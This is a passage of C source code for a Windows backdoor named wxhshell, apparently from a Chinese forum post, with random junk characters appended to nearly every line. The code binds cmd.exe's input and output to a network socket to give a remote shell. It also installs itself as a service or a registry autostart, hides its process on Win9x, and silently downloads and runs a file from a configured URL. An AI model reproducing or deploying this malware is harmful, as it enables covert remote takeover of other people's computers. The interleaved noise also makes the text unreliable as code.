  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HGiO}|q :  
  } 0R21"]L_M  
  else { FGRdA^`  
[{&GMc   
    switch(cmd[0]) { Fy6(N{hql  
  !4Oj^yy%  
  // 帮助 |!Uul0O  
  case '?': { x^sSAI(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); eE=}^6)(*  
    break; o&U'zaj  
  } )G+D6s23  
  // 安装 D(X:dB50@  
  case 'i': { (=\))t8J  
    if(Install()) ;L`NF"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GZq~Pl  
    else - f&m4J} E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #TUuk  
    break; kq$0~lNI$  
    } )/:j$aq  
  // 卸载 @r130eLh  
  case 'r': { c'!+]'Lr  
    if(Uninstall()) Vb57B.I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XI5TVxo(q  
    else \Bvy~UeE)>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /z)H7s+  
    break; r9 5hW  
    } U,g)N[|  
  // 显示 wxhshell 所在路径 |a|##/  
  case 'p': { S Bo i|  
    char svExeFile[MAX_PATH]; 0F5QAR O  
    strcpy(svExeFile,"\n\r"); ,5XDH6L1  
      strcat(svExeFile,ExeFile); H~1o^ gU  
        send(wsh,svExeFile,strlen(svExeFile),0); &Hj1jM'  
    break; oF(=@UL  
    } j6&q6C X  
  // 重启 eWk W,a  
  case 'b': { 6Zx'$F.iqK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :OKU@l|  
    if(Boot(REBOOT)) 7`P1=`..  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s +Q'\?  
    else { LLV1W0VO=P  
    closesocket(wsh); yhsbso,5 a  
    ExitThread(0); j e;^i,&  
    } =XhxD<kI  
    break; S=zW wo$  
    } Ly_.% f  
  // 关机  qDK\MQ!  
  case 'd': { cx_$`H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sUl _W"aQ  
    if(Boot(SHUTDOWN)) 95IR.Qfn!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rq[VP#  
    else {  QUb#84  
    closesocket(wsh); 3E$h W  
    ExitThread(0); y,F|L?dIq  
    } /ReOf<%B  
    break; (GJX[$@  
    } 6DxT(VU}  
  // 获取shell cs-dvpMZ  
  case 's': { vO 3-B   
    CmdShell(wsh); yyv<MSU8  
    closesocket(wsh); '{F Od_uk%  
    ExitThread(0); VthM`~3  
    break; 8eDKN9kq  
  } d-ML[^G  
  // 退出 Fu*Qci1Z  
  case 'x': { E/Adi^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;/~%D(  
    CloseIt(wsh); C%QC^,KL  
    break; eFz!`a^dX  
    } 52v@zDY  
  // 离开 A5 <T7~U  
  case 'q': { nK>D& S_!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s g6e% 5  
    closesocket(wsh); o#frNT}  
    WSACleanup(); omZ bn  
    exit(1); Uv|^k8(  
    break; <=gf|(  
        } |n~Vpy  
  } K-6+fgeB  
  } lj+}5ySG/  
E[8i$  
  // 提示信息 _>/OqYR_jQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?y4vHr"c  
} |W;EPQ+<  
  } LT:*K!>NOL  
NVG`XL  
  return; IEQ6J}L  
} 12S[m~L%  
&Tn7  
// shell模块句柄 Y^ ti;:  
int CmdShell(SOCKET sock) -FW'i10\2+  
{ nOdAp4{:q%  
STARTUPINFO si; l EsE]f  
ZeroMemory(&si,sizeof(si)); nTH!_S>b(Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tRzo}_+N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #e5*Dr8  
PROCESS_INFORMATION ProcessInfo; #M=d)}[  
char cmdline[]="cmd"; &4V"FHy2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V~ [I /Vi  
  return 0; 1Jn:huV2  
} Xb5 $ijH  
;h#nal>w@S  
// 自身启动模式 I.L8A|nZ  
int StartFromService(void) //H3{^{  
{ ba"a!#wA  
typedef struct nyr)d%I{  
{ 1`I#4f  
  DWORD ExitStatus; Oo`b#!L  
  DWORD PebBaseAddress; ealh>Y  
  DWORD AffinityMask; [0-zJy|,  
  DWORD BasePriority; Jm {~H%  
  ULONG UniqueProcessId; R:FyCT_,  
  ULONG InheritedFromUniqueProcessId; *l\vqgv.Z  
}   PROCESS_BASIC_INFORMATION; zP;1mN  
x|IG'R1:Y  
PROCNTQSIP NtQueryInformationProcess; Bg0 aLU)[  
& wG3RR|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -Drm4sTpDb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }dSxrT  
bcy( ?(  
  HANDLE             hProcess; C@q&0\HN  
  PROCESS_BASIC_INFORMATION pbi; Gj(UA1~1  
n:5*Tg9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zV=(e( [  
  if(NULL == hInst ) return 0; h | +(  
K#],4OG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *3We5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k.CHMl]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); > [|SF%  
s7#|'jhZt  
  if (!NtQueryInformationProcess) return 0; DozC>  
uyDYS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4!r> ^a  
  if(!hProcess) return 0; q'p>__Ox  
dwt<s [k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V7 dAB,:  
-hP-w>  
  CloseHandle(hProcess); gZ1|b  
7f`x-iH!]7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )gAFz+  
if(hProcess==NULL) return 0; Q`X5W  
N~A#itmdx  
HMODULE hMod; k<3 _!?3  
char procName[255]; *>XY' -;2e  
unsigned long cbNeeded; #O .-/&Z  
b1{XGK'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fMFlY%@t  
y Yvv;E  
  CloseHandle(hProcess); sP NAG  
> AV R3b  
if(strstr(procName,"services")) return 1; // 以服务启动 jn;b{*Lf  
Y)L\*+ >"[  
  return 0; // 注册表启动 5bzYTK&-  
} WsCzC_'j.  
^2PQ75V@.  
// 主模块 l C|{{?m  
int StartWxhshell(LPSTR lpCmdLine) +/Lf4??JV  
{ fKY1=3  
  SOCKET wsl; ~-w  
BOOL val=TRUE; <#9zc'ED:  
  int port=0; /@bLc1"  
  struct sockaddr_in door; ~Zd n#z\  
r,4V SyZF\  
  if(wscfg.ws_autoins) Install(); 9/k?Lv  
(dC<N3  
port=atoi(lpCmdLine); jdYv*/^  
f-tV8  
if(port<=0) port=wscfg.ws_port; 6)eU &5z1?  
}PY? ZG  
  WSADATA data; aUy=D:\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; OQh36BM  
r4xq%hy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B&m?3w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6YZ&>` a^  
  door.sin_family = AF_INET; ,b@0Qa"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /m;w~ -N  
  door.sin_port = htons(port); Vy:ER  
NB&u^8b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { | We @p  
closesocket(wsl); 'g a1SbA]  
return 1; IfZaK([  
} GZc%*  
lC1X9Op  
  if(listen(wsl,2) == INVALID_SOCKET) { 'Sc3~lm(dH  
closesocket(wsl); GSW{h[Op  
return 1; '}5}wCLA  
} ~^"cq S(  
  Wxhshell(wsl); w I@ lO\  
  WSACleanup(); !+M H?A  
6iFd[<.*j  
return 0; #V8='qD  
,9#G/nF  
} k- sbZL  
" I@Z:[=2  
// 以NT服务方式启动 V]PTAhc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $XI5fa4Tt  
{ pKMf#)qm  
DWORD   status = 0; 7@vc Qv kC  
  DWORD   specificError = 0xfffffff; d~| qx  
^D B0C  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;<q@>p[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l{Hi5x'H  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {F k]X#j  
  serviceStatus.dwWin32ExitCode     = 0; "MXd!  
  serviceStatus.dwServiceSpecificExitCode = 0; ;8g#"p*&  
  serviceStatus.dwCheckPoint       = 0; Vb 4Qt#o  
  serviceStatus.dwWaitHint       = 0; ]'_z (s}  
US7hKNm.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _jZDSz|Yb  
  if (hServiceStatusHandle==0) return; -lMC{~h\(S  
zPV/{)S  
status = GetLastError(); oUw-l_M]  
  if (status!=NO_ERROR) z6G^BaT'  
{ |<ke>j/6n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; W{;!JI7;z  
    serviceStatus.dwCheckPoint       = 0; `bT{E.(T  
    serviceStatus.dwWaitHint       = 0; HXdPKS4q  
    serviceStatus.dwWin32ExitCode     = status; ^@)/VfVg  
    serviceStatus.dwServiceSpecificExitCode = specificError; VUF7-C*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^[%~cG  
    return; i%*x7zjY{  
  } /,0t,"&Aqa  
e`$v\7K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~:)$~g7>b  
  serviceStatus.dwCheckPoint       = 0; :M3l#`4Q  
  serviceStatus.dwWaitHint       = 0; o-O/MS   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); XtfL{Fy|T  
} 'KQu z)-  
g\(7z P  
// 处理NT服务事件,比如:启动、停止 VY _(0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hkU# lt  
{ C [2tH2*#  
switch(fdwControl) wOi>i`D&  
{ )X^nzhZ2O"  
case SERVICE_CONTROL_STOP: TTE#7\K~B  
  serviceStatus.dwWin32ExitCode = 0; +]]wf'w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V7[qf "  
  serviceStatus.dwCheckPoint   = 0; (Z,,H1L  
  serviceStatus.dwWaitHint     = 0; j9u-C/Q\r  
  { ;v0sM*x%V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LOida#R  
  } "W+4`A(/l  
  return; .X2mEnh  
case SERVICE_CONTROL_PAUSE: c>UITM=!I  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L8j,?u#  
  break; +&?VA!}.  
case SERVICE_CONTROL_CONTINUE: iD(K*[;lc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NOS5bm&-  
  break; @ ~sp:l  
case SERVICE_CONTROL_INTERROGATE: >M1/m=a  
  break; CYrL|{M]  
}; _~cmR<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OC>" +  
} IWT##']G  
e;6Sj  
// 标准应用程序主函数 ;JmD(T7{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) huTJ a2  
{ <aHK{ *'3  
E>g'!  
// 获取操作系统版本 zWY6D4   
OsIsNt=GetOsVer(); D!m hR?t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4_"ZSVq]#  
B)-S@.u  
  // 从命令行安装 |M K-~ep  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5%>U.X?i  
_>`0!mG  
  // 下载执行文件 yQx>h6  
if(wscfg.ws_downexe) { ,!Hl@(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #SqOJX~Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9xKFX|*$  
} []2GN{m  
e+6~JbMV  
if(!OsIsNt) { rzTyHK[  
// 如果时win9x,隐藏进程并且设置为注册表启动 #* Hhe>  
HideProc(); gvU6p[D  
StartWxhshell(lpCmdLine); q/3}8BJ  
} 8EE7mEmLH  
else 3Q]MT  
  if(StartFromService()) q@!:<Ra,){  
  // 以服务方式启动 SUVr&S6Nk  
  StartServiceCtrlDispatcher(DispatchTable); & aLR'*]6  
else OKU P  
  // 普通方式启动 SA&wW\Ym]  
  StartWxhshell(lpCmdLine); ;% !?dH6  
;dWqMnV  
return 0; Qxvz}r.l]  
}
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只看该作者 1 发表于: 2006-10-10
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